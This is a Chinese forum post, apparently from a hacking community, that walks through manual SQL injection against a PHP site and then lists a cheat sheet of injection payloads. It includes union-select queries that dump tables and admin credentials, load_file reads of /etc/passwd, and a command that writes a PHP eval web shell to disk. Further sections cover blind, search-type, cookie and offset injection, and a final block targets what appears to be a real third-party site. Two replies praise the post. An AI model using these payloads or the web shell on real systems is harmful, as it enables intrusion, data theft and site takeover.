手工注入拿下一站

admin

我一个朋友维护一个站点，他对安全不是很懂，就像我一样，呵呵 ！O(∩_∩)O~
让我看看，既然人家开口了，我也不好拒绝，那就看看吧？
* M  K' ]0 U. _; U! y我个人喜欢先看有没有上传的地方（上传可是好东西，可以直接拿shell'），其次就是看看什么程序，有没有通杀，然后就是后台，最后看看注入。。。。
如果是php程序我会先找注入，呵呵！（这个不用我说你们也知道是什么原因咯，废话了，主题开始。。。）
1.打开地址，发现是php程序，呵呵.既然是php程序，先找找注入吧？看看有没有交互的地方，（所谓交互就是像news.php?id=1，news.asp？id=1这样的，）
这个站很悲剧，随便点开一个链接加一个 ’ 结果悲剧了，爆出：
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
/data/home/nus42j1/htdocs/news.php on line 59 ，物理路径出来了，到这一步啊，已经可以证实存在注入
4 M7 S; [" H5 ]- S6 U+ {                        
2.不过既然是学习，我们就要一步一步的来，还是老规矩 and 1=1 ，and 1=2 ，返回结果不一样，证明存在注入，
8 Q9 k; M8 D8 ?3.下一步很自然的查询字段数：用order by+二分法，加上order by 8 返回正常，order by 9 不正常。说明字段数为8 ，继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ，一个5 ，说明可以利用字段数才两个，有时候会有很多个哦，要注意
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ，当然还有database(),等等.......返回版本，用户等等系列信息
: F& D& @1 T. n9 v5.rp差了一点，不是root权限，不过版本大于5.0，支持虚拟库information_schema。
) j1 f5 Q3 [; ?. z2 Y+ B有两种思路：1.使用Load_file函数获取数据库账号密码，通过操作数据库获取webshell，
/ B1 Q8 v9 k# o( k% k9 x5 T2.继续爆出数据库里的表名和列名，登陆后台想办法上传获取webshell。
: F+ a! `) _! L4 A" {( L我就用的是第二个思路，
/ Y8 c/ \. i+ t提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  
5 y) m3 [9 z3 g9 M# P6.由于数据库表比较多，这里有48个表，我只是做检测，原理是这样，剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名，然后是获取表里的字段，
提交：and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
' H& }* u4 P( O# h注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示，得到密码账号后就到md5破解网站进行破解。
7.到这里呢我该结束了，还要提供给我朋友修补的意见，不过写了这么多了，也不怕在写一点，延伸思路，如果你的密文md5破不出来呢？？？？怎么办？？？？
是不是放弃了，当然不是，看看开了什么端口，如果是centos，lamp环境。我们自然是用load_file了，先验证有读的权限， /etc/passwd.....
$ N: k( O4 D. j$ r提交：and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
然后你就找你要的信息，主要是一些敏感文件，还有就是有没有前辈留下的东西，比如某些记录口令保存在本地的东东，我们还可以通过操作数据库备份出来一个shell，
5 X' [+ p( G) v调出mysql命令，执行：Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ，也可以分步执行建立一个临时表插入一句话，然后备份，前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
/ }0 [. O" b2 ?+ X& D1 {3 Y下面是一些很普遍注入方式资料：
注意：对于普通的get注入，如果是字符型，前加' 后加 and ''='
拆半法
######################################
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库，MSysAccessObjects是ACCESS的默认表。
and exists (select * from admin)
and exists(select id from admin)
and exists(select id from admin where id=1)
( y7 r* h! Y2 @& v: p6 d4 |and exists(select id from admin where id>1)
3 G) M) w1 F( T$ \: h然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
and exists (select username from admin)
  P" s* {% f/ {/ z" Aand exists (select password from admin)
. b9 c1 k# b9 g1 C& S! _3 d4 `and exists (select id from admin where len(username)<10 and id=1)
and exists (select id from admin where len(username)>5 and id=1)
( `) ^- W) r- V' land exists (select id from admin where len(username)=6 and id=1)
% A5 e0 I  h9 a7 y( ?3 pand exists (select id from admin where len(password)<10 and id=1)
. [$ T3 e0 D) k% V) o+ i+ @and exists (select id from admin where len(password)>5 and id=1)
' d) J: J: }: E& ]8 |and exists (select id from admin where len(password)=7 and id=1)
and (select top 1 asc(mid(username,1,1)) from admin)=97
返回了正常，说明第一username里的第一位内容是ASC码的97，也就是a。
  N. J5 H8 y$ m猜第二位把username,1,1改成username,2,1就可以了。
" E. d" ~  R9 D4 m猜密码把username改成password就OK了
( f6 c' H8 g. `  \3 S: L##################################################
( }8 S9 a8 n- F5 v1 a搜索型注入
##################################
%' and 1=1 and '%'='
%' and exists (select * from admin) and '%'='
%' and exists(select id from admin where id=1) and '%'='
. ?: D- z* y7 T1 Y5 T% m%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
+ A* k* C( F# N%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
9 O5 |6 Q+ W( M! P1 Z: ~%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
这里也说明一下，搜索型注入也无他，前加%' 后加 and '%'='
# w1 I  X7 k1 K. O对于MSSQL数据库，后面可以吧 and '%'='换成--
还有一点搜索型注入也可以使用union语句。
+ s- V" G/ Y( z  F5 u+ H0 x4 j########################################################
联合查询。
0 }! J8 y' ]- b#####################################
order by 10
3 }6 A/ @$ A* S* k4 mand 1=2 union select 1,2,3,4,5,6,7,8,9,10
% C* r* h7 X* K& \, P/ c3 _4 [and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
# y. R- d1 W% k( G+ L3 s; c很简单。有一点要说明一下，where id=1 这个是爆ID=1的管理员的时候，where id=1就是爆ID=2的管理用的，一般不加where id=1这个限制语句，应该是爆的最前面的管理员吧！（注意，管理的id是多少可不一定哈,说不定是100呢！）
###################################
: {  F/ H1 A" o; |9 }, ncookie注入
! J# Z* I. b8 P. f% n$ M% y- n###############################
5 ~' f# s% ?# m" q  p) dhttp://www.******.com/shownews.asp?id=127
http://www.******.com/shownews.asp
alert(="id="+escape("127"));
/ }* S+ E) `' `8 ^alert(="id="+escape("127 and 1=1"));
alert(="id="+escape("127 order by 10"));
  E, A2 E) G# y8 h5 Ralert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
( Q5 Y9 J8 Z  \, j2 o( Q# ~alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
这些东西应该都不用解释了吧，给出语句就行了吧。这里还是用个联合查询，你把它换成拆半也一样，不过不太适合正常人使用，因为曾经有人这样累死过。
###################################
( c! N. f1 I" C. t偏移注入
1 {8 z+ h0 D+ G. t: @###########################################################
8 ]* B( g4 c7 m* ]; |* x$ aunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
% f  K3 l* @$ m- n; s9 N4 S0 ^+ Q8 @$ Lunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
" _7 y" _, @6 k+ eunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
! M; W1 a4 `" \! \) @4 yunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
+ K, b1 Y  v: {2 ^8 m6 }  X& ]union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
4 I9 C5 `7 K- R  `' dunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
' @: C, ?. v5 u$ Ea.id=d.id)
/ M: B- v1 n# s% Dand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
  
; i  g, K' U% o- q& F; t============================================================================================================
1.判断版本
and ord(mid(version(),1,1))>51
9 Y* ?$ L8 X- y6 o: T8 r6 b返回正常，说明大于4.0版本，支持ounion查询
4 [! Y2 s* q: I( M6 z: }' F8 z2.猜解字段数目,用order by也可以猜，也可以用union select一个一个的猜解
and 2=4 union select 1,2,3,4,5,6,7,8,9--
3.查看数据库版本及当前用户，
# S- R$ c+ ~7 [) pand 2=4 union select 1,user(),version(),4,5,6,7,8,9--
* ]4 q1 f) F# [! G, m, g数据库版本5.1.35，据说mysql4.1以上版本支持concat函数，我也不知道是真是假，
) p* W4 n4 `6 U4.判断有没有写权限
% r3 V2 M0 J; a% G% Cand (select count(*) from MySQL.user)>0--
5.查库，以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
4 U% e, |+ [+ O( g: X% t& ?+ L用不了这个命令，就学习土耳其黑客手法，如下
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
6.爆表，爆库
: m- W# ~7 }  x; j  {: p- v. Gand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
6 j! Q) j; O4 L' R7.爆列名，爆表
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
  P7 C* J0 b! g+ P/ k5 l: Q) x8.查询字段数，直接用limit N,1去查询，直接N到报错为止。
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
' v$ U" K- Q7 [! s/ E# ?+ S; _9.爆字段内容
" n9 e# `7 V# d7 N: pand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
6 ]! q, w& O. ]http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--

xiancda

非常好的归纳。坐下慢慢看~

wuyu

谢谢分享，学习思路啊